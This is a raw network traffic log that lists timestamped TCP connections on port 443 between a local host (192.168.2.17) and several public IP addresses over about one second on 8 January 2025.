Jan 8, 2025 17:18:30.176120043 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176131964 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176136971 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176158905 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176171064 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176513910 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176568985 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176620007 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176661015 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176667929 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176676989 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176703930 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176711082 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176750898 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176758051 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176781893 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176794052 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176816940 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176821947 CET	443	49727	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.176836967 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176836967 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.176855087 CET	49727	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.179157019 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.179181099 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.179256916 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.179467916 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.179480076 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.192531109 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:30.239345074 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:30.305308104 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:30.305392981 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:30.305540085 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:30.306145906 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:30.306164980 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:30.314340115 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.314357996 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.314440966 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.314671993 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.314683914 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.317889929 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.317929983 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.317991972 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.318193913 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.318206072 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.522413969 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.522733927 CET	49729	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.522746086 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.523056984 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.523349047 CET	49729	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.523397923 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.523485899 CET	49729	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.567333937 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.659624100 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.659893036 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.659920931 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.660248041 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.660541058 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.660598993 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.660671949 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.673191071 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.673254013 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.674527884 CET	49729	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.674906969 CET	49729	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.674917936 CET	443	49729	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.707329035 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.789218903 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.789491892 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.789515972 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.789855957 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.790146112 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.790210962 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.790271044 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.790326118 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.790349960 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.791500092 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.791678905 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.791709900 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.792706013 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.792769909 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.793741941 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.793797970 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.793917894 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.793926001 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.812936068 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.812987089 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813024044 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813045979 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.813054085 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813065052 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813102007 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.813113928 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813144922 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813159943 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.813168049 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813206911 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.813213110 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813623905 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.813669920 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.813676119 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.817852974 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.817913055 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.817919016 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.845499992 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.861491919 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.905081034 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905137062 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905158997 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905189037 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.905216932 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905255079 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905257940 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.905265093 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905299902 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.905529022 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905577898 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905605078 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905611992 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.905618906 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.905657053 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.905663013 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.906347036 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.906375885 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.906393051 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.906403065 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.906431913 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.906459093 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.906467915 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.906472921 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.906500101 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.907243967 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.907270908 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.907291889 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.907296896 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.907308102 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.907347918 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.907356977 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.907393932 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.919766903 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.919827938 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.919883013 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.920068026 CET	49731	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.920088053 CET	443	49731	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.920523882 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.920556068 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.920630932 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.920845032 CET	49733	443	192.168.2.17	35.190.80.1
Jan 8, 2025 17:18:30.920857906 CET	443	49733	35.190.80.1	192.168.2.17
Jan 8, 2025 17:18:30.941709042 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.941822052 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.941871881 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.941890001 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.941987991 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.942037106 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.942048073 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.942200899 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.942249060 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.942255974 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.942348003 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.942393064 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.942400932 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.942491055 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.942533970 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.942542076 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.950717926 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.989571095 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.989583015 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997358084 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997406006 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997433901 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997437000 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.997466087 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997498989 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.997507095 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997541904 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997541904 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.997550964 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.997584105 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.998143911 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.998204947 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.998208046 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.998219013 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.998243093 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.998245001 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.998289108 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.998294115 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.998328924 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.999233007 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.999274015 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.999300003 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.999310970 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.999330997 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.999336004 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.999352932 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:30.999356985 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:30.999381065 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.000086069 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.000137091 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.000148058 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.000188112 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.000277042 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.000303984 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.000315905 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.000320911 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.000355959 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.000370026 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.001076937 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.001127958 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.001142025 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.001190901 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.031779051 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.031821966 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.031851053 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.031852007 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.031863928 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.031898975 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.031908989 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.031948090 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.031955004 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.032782078 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.032814980 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.032834053 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.032841921 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.032874107 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.032883883 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.032891989 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.032933950 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.033711910 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.033770084 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.033798933 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.033813000 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.033823013 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.033850908 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.033865929 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.033873081 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.033914089 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.034534931 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.034589052 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.034630060 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.034636974 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.034682035 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.034718990 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.034729958 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.035437107 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.035481930 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.035490990 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.043152094 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.043222904 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.084503889 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089499950 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089564085 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089576960 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089586973 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089622021 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089638948 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089677095 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089682102 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089698076 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089716911 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089742899 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089749098 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089772940 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089806080 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089832067 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089845896 CET	443	49730	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.089855909 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.089884996 CET	49730	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.122420073 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.122481108 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.122509956 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.122539997 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.122544050 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.122555971 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.122591972 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.122601032 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.122642040 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.122703075 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.122750044 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.123131990 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.123188972 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.123195887 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.123584986 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.123620987 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.123635054 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.123641014 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.123667002 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.123706102 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.123744011 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.123750925 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.123796940 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.124569893 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.124599934 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.124625921 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.124633074 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.124650002 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.124660969 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.125425100 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.125466108 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.125480890 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.125488043 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.125508070 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.125515938 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.125591993 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.125639915 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.126385927 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.126429081 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.126452923 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.126460075 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.126471043 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.178468943 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.212765932 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.212837934 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.212866068 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.212922096 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213145018 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213196039 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213205099 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213248968 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213265896 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213313103 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213773966 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213831902 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213840008 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213845968 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213864088 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213867903 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213918924 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213926077 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.213962078 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.213999033 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214046001 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.214716911 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214756966 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214768887 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.214775085 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214792013 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214802027 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.214828014 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214839935 CET	49732	443	192.168.2.17	104.18.95.41
Jan 8, 2025 17:18:31.214845896 CET	443	49732	104.18.95.41	192.168.2.17
Jan 8, 2025 17:18:31.214859962 CET	443	49732	104.18.95.41	192.168.2.17
